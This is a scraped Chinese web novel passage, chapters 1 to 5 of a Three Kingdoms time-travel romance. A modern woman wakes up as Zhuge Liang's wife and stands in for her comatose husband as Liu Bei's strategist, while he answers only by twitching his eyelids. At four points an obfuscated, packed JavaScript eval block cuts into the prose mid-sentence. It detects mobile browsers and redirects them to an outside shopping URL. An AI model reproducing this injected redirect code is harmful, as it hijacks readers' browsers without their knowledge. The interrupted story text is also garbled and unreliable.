《[三国]黄楚传》 1. 穿越但孔明挂机 梁爽一睁眼,天塌了。 她是被热醒的。 梁爽这辈子没受过这种热。起床的时候浑身是汗,手臂还压出了一道一道红红的草席印子,痒痒的。 “空调遥控器呢……”记得是放在枕头边的,她闭着眼摸了半天,没摸到。 睁眼看,草席上什么都没有。草席……什么时候铺的草席啊…… 梁爽稍稍清醒一些之后,又觉得脖子酸,枕头原本是记忆棉的,不知何时被换成硬邦邦跟石头似的。 梁爽有些不满,以为是公寓的清洁阿姨自作主张给她换了床铺,迷迷瞪瞪坐起身来,眼睛半开半合,用脚找鞋,蹴到了一双布鞋。梁爽隐约觉得不太对劲,但因为实在困倦,懒得去想,还是趿进脚去,站起身来,找洗手间。 “真特么不想上班……”她嘴里念叨着。 她在香港租的房子很小,卧室两米长两米宽,放下一张单人床之后就只剩一条窄窄的过道,她半睡半醒沿着记忆中的过道往前走,感觉走了好久都没摸到门。 “我这是醒了还是在做梦……”梁爽晃晃脑袋:“好困,做梦就做梦吧……今天闹钟没响,是不是周末来着……难得周末多睡会儿……” “砰!”她一头栽在了家具上,碰得额头剧痛。 “呃——”梁爽一边嗷嗷叫,一边心疼地摸着自己白皙如玉——不是,黑得有点瓷实的额头。 眼前是一面不太清楚的镜子。 她撞上的原来是个妆台……等等,这张脸是怎么回事? 她梁爽虽不说是绝色美女,也自问有几分姿色,镜子里的脸是怎么回事?五官虽然没走样,但皮肤黑了好几个色号,头发还干枯泛黄。 “我是防晒没做好,然后又烫头烫劈了?不会啊……”她双手摸着自己的脸和头发。 这一定是个噩梦,一定是个噩梦……梁爽双手抱着自己的头一阵猛晃,晃着晃着,听见有脚步声,又听见一个嗓音极为低沉性感的男声:“楚楚,你醒啦?身子可还有不舒服?”梁爽循声扭头看去,出现在她面前的是一个目测二十来岁的青春男大,绝世美男,还是个汉服同袍。 只见此人:身长八尺,面如冠玉,手持羽扇,头戴纶巾,身披鹤氅,飘飘然有神仙之概。 对面的人实在是俊美无俦风度翩翩,梁爽一时间看呆了,许久才结巴道:“这是cos丞、丞相……?” 那青年男子原本正抬手试她额头,闻言微怔,略有些不解地笑道:“楚楚,为夫虽有匡扶天下之志,卿此时便唤我’丞相’,实在是为时尚早。” 梁爽指着他:“‘为夫’?” 美男点头。 梁爽手指一调转,指着自己:“楚楚?” 美男点头。 梁爽的手指头在他俩之间划:“咱俩?” 美男点头。 梁爽闭上眼,抬手给自己扇了一个嘴巴,又心疼得连忙揉了揉,睁眼一看,美男还在原地。 梁爽再回头一看这陌生的床铺,发现原来床上枕头是两个,心想坏了,不会是自己酒后乱/性把美男给禽兽了然后被美男赖上一定让她负责吧? 不是,这迎娶美人虽然好,但那也要感情基础、也要知根知底才行。这年头,谁敢轻易去领结婚证啊…… 虽然整天做梦泡帅哥,但是真的天上掉下一个帅得惊天动地的大帅哥砸到她头顶的时候,梁爽怂得一批。 “我……你……这样,事已至此,先吃饭吧。”梁爽叹道。 美男显然有些被她整懵了,但或许是为人温柔的缘故,也不多问什么,只微笑道:“好。早已备好了。”说着还拿羽扇给她轻轻扇风,语气宠溺:“瞧你这一身汗。” 给梁爽肉麻得起了一身鸡皮疙瘩。 出了内室,见外间的装修也是仿古的,书案上摆着笔墨纸砚,窗前摆着一张古琴,墙上挂着一张毛笔画的古地图,下面用繁体隶书写着“西川五十四州之图”。外面门廊上设了一张矮桌,摆着清粥小菜,门廊外是一片菜圃,靠门廊处则是一排花架,多是兰花菊花,也有牵牛和豆蔻。环境清新雅致,是个好地方,但梁爽无论如何不记得自己是怎么过来这里的了。 昨天……昨天应该也没喝酒啊,怎么就断片了? 梁爽随汉服美男走到廊下,迎面有汉服童子打扮的小男孩儿见着二人,恭恭敬敬行了一礼,口称“先生”“夫人”。 梁爽如遭雷劈:不是吧?酒后乱/性也就罢了,合着连陌生小孩都知道了?她昨晚到底做了什么禽兽不如的事? 刚要落座,又走来一个汉服青年,坐下一起吃饭。吃饭前也向二人行一礼,口称“阿兄”“阿嫂”……梁爽要疯了。 席间气氛倒不沉闷,汉服美男和他那汉服弟弟说着许多经史文义,梁爽听得似懂非懂,心中纷乱如麻。一会儿低头看见自己也是一身汉服,暗想“我是误入了什么汉服同袍的庆典活动?”一会儿掰扯不明白到底该怎么跟美男道歉把话说清楚,又很想死一死…… 一餐饭吃完,梁爽食不知味,早早搁了筷子。美男心细如发,瞧见了还问她:“是胃口不好么?饭菜不合口味么?” 梁爽内心已经彻底放弃挣扎就地躺平了:这帅哥的心态是真好啊…… 美男不紧不慢慢条斯理用餐毕,待要起身,梁爽连忙开口:“请问……你等会儿方便说话吗?” 美男从容微笑,笑容令人如沐春风:“只要楚楚有话想说,为夫什么时候都方便。” 汉服弟弟一脸又吃到狗粮的表情连忙起身溜了。 梁爽做个“请”的手势,请美男入内室详谈。 两人各自在榻上坐了。 梁爽抱着大不了一死的心态,硬着头皮开口道:“昨天的事,我不记得了……总之是我不好,向你道歉。” 美男诧异道:“爱妻说的这是什么话?是为夫照料不周,才致使你生病迟迟未愈。要致歉,也当是为夫向娘子致歉才是。”说着要起身作揖,被梁爽一把按住了。 梁爽道:“不是,哥……这年头,结婚得冷静……哥,我觉得是这样,咱们至少先……先相互了解一下,对吧,你看我连你是谁都还不知道,咱们……这年头大家观念也都开放了,内什么……不是非要结婚的……万一冲动结婚了,离婚有冷静期,到时候还涉及财产问题,多麻烦,对吧……” 美男彻底懵了。明亮如星的眼睛眨巴眨巴,又眨巴眨巴:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486219|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚楚,你在说什么,为夫有些不明白……” “不是,哥,咱们捋一捋,首先,你为啥叫我楚楚?你是不是认错人了?” 美男迷惑不解:“怎会?你我结发数载,恩爱有加,为夫怎会认错?” 梁爽大无语:“我姓梁,名爽,我等下拿身份证给你看,我从来就没叫’楚楚’过,快递外卖收件人都没留过这个名字。” 美男短暂地陷入一阵恐慌,旋即回复镇定,迅速出去又迅速回来,左手撒了梁爽一脸水珠子,右手撒了梁爽一脸的盐,对着梁爽开始掐手念诀:“有鬼有鬼,撮盐入水,太上老君,急急如律令。” 梁爽现在非常不爽。她不喜欢被纠缠,哪怕是大帅哥也不行。“喂!我告诉你!你再纠缠我,我报警了!我手机——诶我手机呢?” 房间里没有。 外间没有。 走出这座木屋,外面来来往往的人大都穿着短打古装,看谁都不像藏着手机的样子。 这是哪……?横店影视城?不对啊,横店她去旅游过的……哪家这么有钱,办汉服活动还自建场地的……诶等等,该不会是……我穿越了??? 房内的男人看着梁爽冲出屋子又冲回来,回来劈头盖脸就问他:“现在是哪年?” 秒答:“建安十二年。”他目光已渐渐开始由温柔转作冷冽。 “你是?” “鄙人复姓诸葛,单名亮,字孔明。” “我是?” “这具身体属于我妻黄楚,字德音。敢问客从何处来?而我妻今何在?” 不愧是卧龙孔明,在她暴走的短短功夫,就发现了这具身体灵魂易主的真相。 梁爽道:“我从几千年后穿越而来,不知黄夫人如今芳魂何在。” 孔明默然,手指掐算,口中低声念念有词,不知在念什么,约莫掐算了三分钟,他望向她的目光慢慢恢复了柔情,轻叹道:“你还是你,楚楚。”他不知该怎么向面前的女子解释宇宙的玄妙,只能竭力寻求一种能让她容易理解的方式,试着讲解道:“时间是一个奇妙的带有扭曲的环,你的魂魄穿越到几千年后,然后又穿越回来,而你的记忆……”正说着,孔明身子往后一歪,倒在了床上。 把梁爽吓得七魂丢了五魄:“来人!来人!快来人呐!” 所幸刚才的汉服弟弟——孔明之弟诸葛均懂得医术,闻声连忙来替兄长看诊。看诊过后,诸葛均说了一通医理,刚穿越而来的梁爽什么都听不懂,一脸懵逼。诸葛均今日或多或少也觉得嫂嫂不太对劲,不像往日那般聪明过人,但他以为是嫂嫂大病初愈的缘故,便没放咋心上,只说:“嫂嫂请勿担心,兄长只是适才推演宇宙万物之事,耗费脑力过度,身体并无大碍,休息些时日即可。只是这些日子要劳累嫂嫂照顾了。小弟也必来与嫂嫂分担。” “那要多久才能醒呢?” 诸葛均面露难色道:“兄长似乎是刚刚推算了极复杂之事,恐怕一时半会儿……十天半个月……一年半载……三年五载……醒不过来。” 啊???不是,丞相大人,你这就挂机了?你可不能挂机啊! 喂喂喂王者农药吗,我要举报这个诸葛亮玩家挂机…… 2. 二进制的卧龙先生 刘备一睁眼,天塌了。 从去年冬天到今年春天,他总共就忙了一件事,三顾茅庐,好不容易打动了卧龙先生,允诺出山相助,只因先生的夫人突发急病昏迷不醒,先生说要缓些时日再来追随效力,因此才先行携二弟三弟回新野。结果在新野盼星星盼月亮,打听得黄夫人倒是苏醒痊愈了,但卧龙先生又昏了过去。虽说他身边也不是没有其它谋士,可眼下这位先生,他可是卧龙啊!到手的卧龙又飞了,这叫刘备如何是好。刘备想来想去,不甚甘心,又携关羽张飞和糜竺府上良医一名策马直奔卧龙岗。这趟临行,张飞专门叫手下兵丁将他的丈八蛇矛细细打磨了,若是那乡野村夫孔明敢装病蒙骗大哥,他就——呔! 梁爽接连几日都守在孔明床边,看着床上躺着的这个眉清目秀的便宜丈夫,心里五味杂陈。 按孔明昏倒前说的话,自己的灵魂似乎是与他夫人黄楚是同一个,只不过记忆出现了偏差。说得通俗些,黄楚的灵魂穿越到现代时把旧事都忘了,作为梁爽活到了二十九岁,现在这个灵魂又回到了汉末的这具身体里,只携带着在现代的这段记忆。 现在的梁爽,满心挂念着在现代的家人,同时,面对着孔明,她更多的是作为陌生人对于他病情的善意担忧,心中并无多年夫妻的深情。此外或许还有一点“孔明先生实在是帅啊”的见色起意,以及对历史上孔明壮志未酬星落五丈原的痛惜。 当年上小学,看电视上播央三版的五丈原,梁爽哭成了泪人儿。 刘备费尽心思把卧龙先生招揽至麾下,除了开场几次战役和最后托孤,实际重用程度很值得商榷。而刘备的那个垃圾儿子,更是活活把先生累得鞠躬尽瘁死而后已。 梁爽一边为孔明按摩四肢、疏通血脉,一边趁着四下无人,低声喃喃跟他诉说着她的故事、她所知道的他未来会遇到的事。 “你昏过去也有昏过去的好处……跟着刘备有什么意思呢?去了被他父子活活累死,最后还功业难成,你的儿孙也没有落得好下场,殉了他们刘家……哦对,现在你的儿孙也算是我的儿孙了,唉……”孔明和黄夫人现在暂时还没有子嗣。 梁爽正在照料病人,听闻诸葛均来通报刘玄德刘将军等人到,梁爽猛地一激灵,问道:“请问小叔,这位刘将军之前可曾来过?我不记得了。”她这几日便是凭“大病初愈,过去许多事不记得了”的借口,从家仆婢女及这位小叔子口中打听各路消息、学习各种礼节,以适应在这个时代的生活。 诸葛均答说来过。 梁爽问:“来过几次了?” “三次。” “啊?”原来剧情已经进展到三顾茅庐之后了啊?梁爽哭笑不得:“那丞——夫君先前有没有答应出山追随刘将军呢?” “兄长当时是答应了,只是现在……”诸葛均叹了一口气。 梁爽虽然之前看电视剧《三国演义》的时候不太喜欢刘备,但还是觉得刘备有点可怜。他创业之初,手下总共就没多少厉害谋士,丢了徐庶之后好不容易得了孔明,孔明还昏过去了。 梁爽看一看躺在床上的诸葛亮,心中暗叹道:“时运如此,大概是天意不想让诸葛丞相再追随刘使君。又或许黄夫人穿越到现代又穿越回来,就是为了阻止丞相出山呢?”于是便对诸葛均道:“便请刘将军进来吧,我来将情况向他说明,顺带代夫君向他赔罪。”按男女之大防,此刻黄夫人是应当回避的,但梁爽终究好奇历史上的刘关张三人长什么样子,于是决心见一见。 诸葛均向来敬重二嫂,闻言并未觉得不妥,只当是二嫂自有主见,因此出去迎客进门。 梁爽唤婢女来为她稍整仪表,准备出门见客。 刚要出去,她忽然感觉床上的孔明动了一下。 她定睛去看时,好像又没有变化。 “夫君,可是醒了?”她试探着问道。 床上的孔明好像动了,又好像没动,只能看出胸膛在随着沉稳均匀的呼吸微微起伏。 “许是我的错觉……”梁爽一叹,转身又要走,但她又感觉床上有动静。 仔细看时,仍是没有变化。 问婢子:“先生适才动过么?” 婢子摇头。 梁爽试着又轻轻唤道:“夫君,你是醒了么?” 这时她发现孔明左眼的睫毛微微颤动了一下! “夫君!夫君!”梁爽欢喜极了,连忙扑到他身边唤他。 她每唤他一声,他眼皮便动一下。虽然眼皮动的幅度极小,眼睛也并没有睁开,但睫毛的抖动她看得真真的,婢女也看见了。 “夫君,你可别是醒了装睡?刘备关羽张飞今天来探望你呢。” 他这次换成右眼皮动了一下。 梁爽无语道:“醒了就醒了,非要装什么睡啊?”他右眼皮应声又动了一下,但其它地方仍是不动。 梁爽道:“你若不想见他们,存心装睡,至少与我通个气,我也好陪你演戏不是?” 右眼皮跳。 梁爽道:“你不跟我交底,那我可出去跟他们说你在装睡了。” 仍是右眼皮跳。 “嘿?你这人什么毛病啊?我真出去说了?” 还是右眼皮跳。 梁爽这急性子要炸了。行,这日子你不过了是吧?那我也不过了,我一个穿越过来的人害怕你么,我恨不得寻个机会穿回现代呢,有空调有冰箱有冰激凌。 梁爽扭头就走,往外堂去。她火气上头,准备向刘关张三人把孔明装睡的事给供出去。 尚未步至外堂,便听见一声狮子吼,地面都要被他震得抖三抖:“我大哥对你家先生礼敬有加,三次屈尊至你草庐不说,你家先生说要照顾夫人病体,我大哥也体谅答应,现在几个月过去,你家夫人好了,又说你家先生病倒,世间哪里有这么巧的事!怕不是你家诸葛小儿不想出山,在此借故拖延,糊弄我等!我大哥对诸葛小儿可谓仁至义尽!今日若被我发现他是装病,看我不生吞活剥了他!”这位想必是张飞。 “三弟,不可鲁莽无礼。”这一声温润悦耳,当出自刘备。 只是梁爽一个在现代职场摸爬滚打过的人,听了这两人的配合,心中暗暗好笑:“你既是嫌他鲁莽无礼,为何不从一开始便喝止,却由着他将糙话全都说完?” 如此一想,她又不想卖诸葛亮了。 梁爽至门外,轻轻咳嗽一声。 诸葛均便道:“将军,我家二嫂知道将军光临敝舍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486220|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为表礼貌郑重,特代家兄来向将军赔罪。” 刘备忙起身,也抬手示意二弟三弟起身见礼。 梁爽入内,别扭地操练了一番刚刚学会的古代礼仪,主客双方落座。梁爽将对面三人细细打量。 刘备,身高目测一米七,书里说他长胳膊大耳朵,“垂手下膝,顾自见其耳”,真的。耳朵是真不小,圆润大耳垂,看着确实有福相。鼻子眼睛么,算是端正吧,虽然不如孙彦军老师貌美,倒也是个正人君子的长相。 关二爷的外形那就拉风了:身高一米八开外,美髯有三四十公分那么长,肤色深,面颊红润有血色,丹凤眼,卧蚕眉,相貌堂堂,通身英雄气概。不愧是后世成神的关公。 张飞的长相却是出人意料。还……挺俊的。圆溜溜的完美头骨,皮肤虽然晒得黝黑,五官却是浓眉大眼的漂亮,一米七八左右的个子,宽肩细腰,威风堂堂。此刻虽然脸臭,却也是个脸臭的美男子。 略寒暄几句,梁爽便将孔明当日发病的情形大致作了说明,补充说偶尔眼皮会跳,似乎有将醒之兆,但终究尚未醒来。 诸葛均在旁解说病情医理,说家兄或许要数年才能苏醒。 叔嫂二人代孔明连连向三位致歉。 刘备便委婉表示,为了卧龙先生身体健康考量,此行带了糜竺家的郎中来,希望能为先生诊脉。梁爽与诸葛均交换一个眼神,最终梁爽点了点头,诸葛均便答应下来,引诸人往内室探视孔明。 郎中越诊越皱眉,越诊越皱眉,诊到最后也没想明白这怪病到底是什么病症,只得顺着诸葛均先前的话来说。 连自己带来的郎中都这么说,刘备一听,当即便扑在孔明身上痛哭流涕。关羽张飞二人忙上前解劝。 梁爽不知该如何安慰他,试探着说道:“将军三顾茅庐,如此知遇之恩,拙夫铭感于怀,有心追随将军,立匡扶汉室之功业……”说到这,她看见孔明左眼皮跳了一下,但她懒得理他,话没停,继续说道:“但如今情形将军也见了,拙夫病卧在床,不知何时才能苏醒,贫妇只能代夫君敬谢将军美意……”又看见孔明右眼皮狂跳。 梁爽脑袋瓜又是灵光一闪:“莫非……他左眼跳的意思是’是’,右眼跳的意思是’不是’?”虽然不懂孔明到底是醒了还是没醒、如果醒了为什么要装睡,但她还是继续试探着,将话锋一拐,说道:“如有机会,想必拙夫一定希望继续追随将军。”孔明左眼跳。 “但目前来看几年之内应当是希望微薄……”孔明右眼跳。 “但事在人为……”左眼跳。 “只是不知医药几时见效……”右眼跳。 “或许还有不用医药也能帮将军度过难关的法子……”左眼跳。 什么法子啊!梁爽编不下去,也只好硬着头皮硬编:“便暂时由我……” 孔明左眼狂跳。 刘备、关羽、张飞、诸葛均、医官某、婢女某,几个人先前听黄夫人说话颠三倒四绕来绕去已经满头问号,张飞甚至已经烦躁得怒发冲冠,至此众人齐齐诧异地屏住呼吸,等她说下去。 梁爽看着床上孔明狂跳的左眼皮,知道他是在疯狂表达什么意思,哭笑不得:“便暂时由我来代夫君辅佐将军!” 3. 二进制的孔明先生(二) “你一个妇人……”张飞张口就来。 刘备连忙抬手拦住了。 刘备心里想的是,这或许又是卧龙先生和夫人联手演了一出戏,试探他求贤若渴的诚心。既然黄夫人身为闺阁中人敢提议做军师,那想必夫人或者背后的卧龙先生对后续的事已经有所谋划。眼下刘备自知手上可用之才不多,为了彻底笼络住卧龙先生,此时不得不接受了夫人的提议,但也提了别的要求:“军中多男子,夫人抛头露面不方便,且为防敌军因夫人的女子身份而轻视于我,不如这样,对外便假称卧龙先生已醒,带病追随在下,夫人随侍左右,军中议事时以帷帐相阻隔,夫人可以发言议事,就说夫人所献计策是转达卧龙先生的意见,如何?” 古代轻视女子,军中尤甚,黄夫人要想在军中立足施展才干,暂时非要借丈夫的名头不可。 梁爽心中不忿,但也暂时只能如此。而且她现在于军事一无所知,到时候多半还是要看孔明的眼皮行事。 但总之先应承下来。 时候不早,刘关张和医生四人今日便在草庐留宿。 安置好这几人,梁爽命人去请诸葛均到孔明榻前来说话。 诸葛均满心担忧,不愿兄嫂前往新野:哥哥昏迷不醒,嫂嫂虽有才干,但一场大病之后判若两人,许多事情都忘了,如今二人要背井离乡从军征战,搅进这乱世争斗里,如何让人放心得下? “此事虽然古怪,说出来或许小叔不信。”梁爽叹道:“夫君虽然没有醒,但他似乎能用眼皮回应我的话。”说着,扭头冲孔明道:“夫君,你说是不是?” 诸葛均眼看着二哥的左眼皮跳了跳。 梁爽解释道:“我也是刚刚才发现。适才在外面与刘使君说话时我试探了一番,发现左眼皮跳,意思是’是’,右眼皮是’否’。如此,我便可以揣度夫君的心意。到时军事上我有什么不懂的,大概可以请教他。” 诸葛均道:“战事瞬息万变,战机稍纵即逝,嫂嫂虽然寻得了这个法子,可单靠这样与哥哥沟通心意,到底太慢了。弟弟实在不放心兄嫂前去,尤其刘使君眼下势弱,自身难保,如何能确保兄长和嫂嫂平安。” 梁爽叹道:“我原意也不愿夫君去刘使君麾下效力,可既然匡扶汉室、平定天下是夫君的志向,他执意选择刘使君,我也只好帮他。”若成,则成;若败,她一个穿越而来的人,大不了两眼一闭再穿回去。无论怎样,这趟三国穿越也不算白来。 诸葛均道:“那弟弟随兄嫂同去,也好有个照应。” “你不要去。”梁爽道:“我虽然失了记忆,但这些天也看出来了,你并非热衷出仕之人,你喜欢这里的田园风光,喜欢隐居避世,人生匆匆数十年,我怎忍令你因你兄长之志而放弃自己一生志愿。相信你二哥也是这么想的。” 孔明的左眼皮跳了跳。 诸葛均重重叹了一声。 “三弟,”梁爽道:“你就当是在此守家,我与你二哥,去去便回。” 诸葛均终于一笑:“好。弟弟听命。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486221|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夜里家仆来帮着给孔明洗漱过,梁爽靠坐在床头,有一搭没一搭地跟他说话。 “你没睡吧?”左眼皮跳。 “那你是醒了?现在周围没人,你能睁眼正常跟我说话么?”右眼皮跳。 “你没醒你眼皮是怎么操纵的……”这次左右眼皮都没跳。看来是只能回应“是或不是”的选择题。 梁爽感觉自己面对的是一台现代电脑雏形:只能读懂二进制的1和0。 “你是真的想追随刘备?”左眼皮跳。 “哪怕我已经告诉过你,他后来对你的信任也就那样?”左眼皮跳。 梁爽想问他“为啥”,可惜这种问题他答不了。 只能继续问“是不是”的问题:“你感念他知遇之情?”左眼皮跳。 “那你何不考虑等几年,看曹操统一了整个北方之后来不来请你出山?” 孔明久久不动。 “……生气了?”左眼皮跳。 ……名士脾气还挺大。 梁爽不知该吐槽他什么好。古代人的榆木脑筋啊……就非得去忠那个汉室。就非得讲究主公的先来后到…… “我再问你最后一个问题,那你大哥投奔江东孙氏去了,你连孙家也不考虑?”右眼皮跳。 “行吧……那咱们就合计合计怎么辅佐刘备……我跟你说,我对咱们现在这段’历史’可不算熟,只在两千多年后看过一个叫《三国演义》的电视剧,电视剧里说呢,你出山之后打的第一仗是’火烧博望坡’……” 4. 孔明拒绝了摩斯电码 梁爽带着陪嫁的汪嬷嬷、李嬷嬷还有孔明的书童高洋一起护送着孔明前往新野。 一路上,刘备对待孔明之妻自然是恭敬备至,每次在驿站停车休息时都亲自跑来嘘寒问暖。关羽和张飞的脸色却是不甚好看,张飞那一对大眼珠子往上一翻,圆溜溜两颗大白珍珠似的。 梁爽是个直脾气,屡屡想当面给两位翻白眼翻回去,生生忍住了——她倒不只是为了孔明,而是为了接下来要打的仗:刘备现阶段手下总共没几个将军可差遣,她如果现在把关张得罪了,过几天火烧博望坡的时候谁去烧? 只得绷着一副笑容,把怒气往自己肚子里咽。 回到自家马车里,对着孔明肩膀收着劲儿抡了一拳:“说了不跟刘备不跟刘备,你非要跟!跟了他,受气的是我,你又不能帮我出气!” 孔明还在植物状态,挨了一拳,啥反应都没有。梁爽好像一拳打在了棉花上,有气没处撒,只得自己硬生生散了这口气。 火烧博望坡的任务迫在眉睫,可她现在毫无头绪。压力大得她快要发疯了,偏偏能跟她分担压力的人一个都没有。 她的夫君,是块木头。字面意义上的木头。 才到新野,还没把行李安置完,刘将军那边遣人来传话,说请黄夫人过去商量计策。 梁爽原本想提议,用轮椅将孔明也推去旁听,但若如此,刘关张必然怀疑孔明装病,只得作罢,自己硬着头皮去听。 两相见礼,刘备请夫人坐,命下人们上茶,说道:“原不该这么快打扰夫人,只是适才江东探子来报,说东吴已攻杀黄祖,现今屯兵柴桑。” 黄祖?是谁……柴桑……又是哪…… 梁爽脑子空空如也,但唇角微勾,垂眸微笑,连连点头:“果然如此。” 脸上装作全都听懂了,其实一点没懂。 但她装得很像那么回事儿——托在现代职场“锻炼”的福,她糊弄客户和领导那是很有一套。 刘关张三个人六只眼盯着她上下打量,愣是没看出异样,但抻着脖子等黄夫人继续发话,却也不见黄夫人说什么。 恰好此时刘表差人来请刘备赴荆州议事,刘备想听听黄夫人的见解。黄夫人迟迟不开口,刘备只得开口问询:“刘表此刻请人来,不知为了何事,敢问夫人有何高见?” 荆州的大致地理位置梁爽大致还是有印象的,联想到历史上刘备和孙权围绕着荆州的归属拉了很久的磨,她便试探着说道:“大概是东吴杀了黄祖,令刘表不安,来请刘将军商量对敌之策。” 点到即止。一句话不多说,怕说多了露馅。 此语暗合刘备心事,于是他连连称是。刘备现在与刘表之间的关系十分微妙,既以同宗兄弟相称,又彼此利用,还互相暗暗提防。刘备打心眼儿里不太相信孔明没醒,心里盼着孔明能跟他同行,帮忙拿主意,于是也不顾明面上与黄夫人的男女之大防,开口道:“夫人所言极是。只是此行,备甚是忐忑,恐失于应付,还望夫人同行,以良策相助——若夫人不放心孔明先生,也可携先生一道,备自会加派人手帮忙妥善照料。” 梁爽巴不得把孔明带上,听见刘备主动提,自然是满口答应,多谢他体谅。然而转眼却瞥见刘备和关羽张飞之间两两交换了眼神,忽然明白:原来刘关张三人根本不相信孔明昏睡。 梁爽不由得心底一阵寒。但短暂心寒之后,也能理解:虽说做主君的应当“疑人不用、用人不疑”,但毕竟他们三个与孔明总共只见过一次面,若要他们全然信任孔明,确实强人所难。 于是刘备留关羽镇守新野,令张飞领五百兵马随从,一行人往荆州去。 这趟前往荆州,算是给梁爽争取了一点时间,她想到了与孔明沟通的新办法,并准备在路上教给他:先教汉语拼音,然后教对应的英文字母,最后教摩斯电码。 梁爽教一点,问孔明“听懂了没”,孔明左眼皮跳一跳,她就继续讲。 孔明不愧是孔明,无论学什么,都一点就透。这让梁爽当师傅当得很有成就感。 然而汉语拼音学完,英文字母学完,等到梁爽要教他摩斯电码的时候,无论梁爽怎么教,孔明都只右眼皮跳。 起初梁爽还纳闷他怎么忽然学不会,怀疑是自己讲解得不够清楚,又怀疑是他身体问题导致右眼皮失控,等到一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486222|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人快要抵达荆州的时候,梁爽回过味儿来了:“你是明明听懂了,但就是不想用它,是不是?” 左眼皮跳。 “诸葛亮!”若非怕外面随侍的士兵们听见,梁爽的声音险些压不住:“你整什么幺蛾子?你为什么不肯用它?只要有了它,你就可以和我说话了,我就不是一个人了,我就不用一个人面对那些了,你明白吗?”近来积累的压力逐渐挤压着她泪腺,梁爽起了哭腔:“我一个未来的灵魂,对你没有多少感情,我已经不能算是你妻子,我为什么要在这里跟你担惊受怕?我并不想掺合进群雄争霸,更不想辅佐刘备,我为什么要替你做现在这些事情。你凭什么——你凭什么这么压榨我?” 只见孔明眼皮微动: 右左左右,X。 左左,I。 左右,A。 右右右,O。 左右左左,L。 左左左右,V。 右左左左,B。 左左右,U。 右右左,G。 左右,A。 右右右,O。 “Xiao,Lv,Bu,Gao——效率不高?”梁爽刚要驳他,见他眼皮还在继续跳: 左左左,S。 左左右,U。 左右,A。 右左,N。 左右左左,L。 左左,I。 右左左左,B。 左左右,U。 右右左,G。 右右右,O。 左左右,U。 “Suan,Li,Bu,Gou——算力不够?”梁爽一声叹:“行吧……那确实不能勉强你。你还是养一养你的脑子,这样才好早日醒过来。”她说到这,想起孔明本是一个多么智谋无双的人,当初为了理解她的穿越而生生把自己给搞宕机了,她忽然对孔明又生出一点怜爱,于是轻轻抚摸了一下他光洁的鬓角,感慨道:“你现在还真的像一台电脑啊……” 只是在她喃喃地跟孔明解释什么是电脑时,未曾察觉孔明先生的唇角几乎肉眼不可察地动了一下。那是一个微微的笑。 5. 一心要那荆州(一) 梁爽正守着孔明说话呢,忽然马车停下,又有小卒来通传,请夫人与主君一叙。 梁爽轻轻叹道:“你在这里睡得安稳,我却要硬着头皮去演戏。”给他将身上毯子掖了掖。 临下车,想起一事,小声在耳边问诸葛亮:“东吴杀了黄祖,刘表召刘备过去,或许是想商量报仇的事。如果刘表想让刘备为他出征东吴,刘备应该答应还是不答应?” 诸葛亮右眼眼皮跳了跳。 “好,我明白了。” 孔明只给了她一个答案,解题思路她还得根据答案倒推另编——毕竟刘备不可能简单听从答案,必要过问缘由。 一掀开车帘,便看见刘备已经下马候在车前。 刘备道:“即将与刘景升相见,不知该如何与他对答为妥,还请夫人赐教。且听闻景升乃夫人姨父,到时还望夫人多多帮忙周旋——前些日子备与蔡瑁将军之间有些误会。” 什、什么?!梁爽强端着满脸的泰然自若,实则脑海的所有台词都已经飙出了哨音。 电视剧《三国演义》里面刘表那个坏得挂相的继妻蔡夫人,竟然是黄夫人的姨妈?也就是说那个蠢得丢掉性命的蔡瑁是黄夫人的舅舅? 梁爽绞尽脑汁回忆电视剧剧情,又猛然想起一件要命的事:蔡瑁,如果她没记错的话,好像还曾经试图趁刘表不在的时候干掉刘备来着吧?刘备说的“误会”指的就是这个吗!这…… 梁爽面对着一脸忠厚的刘备,尴尬得脚趾疯狂抓地,额角冷汗直冒。 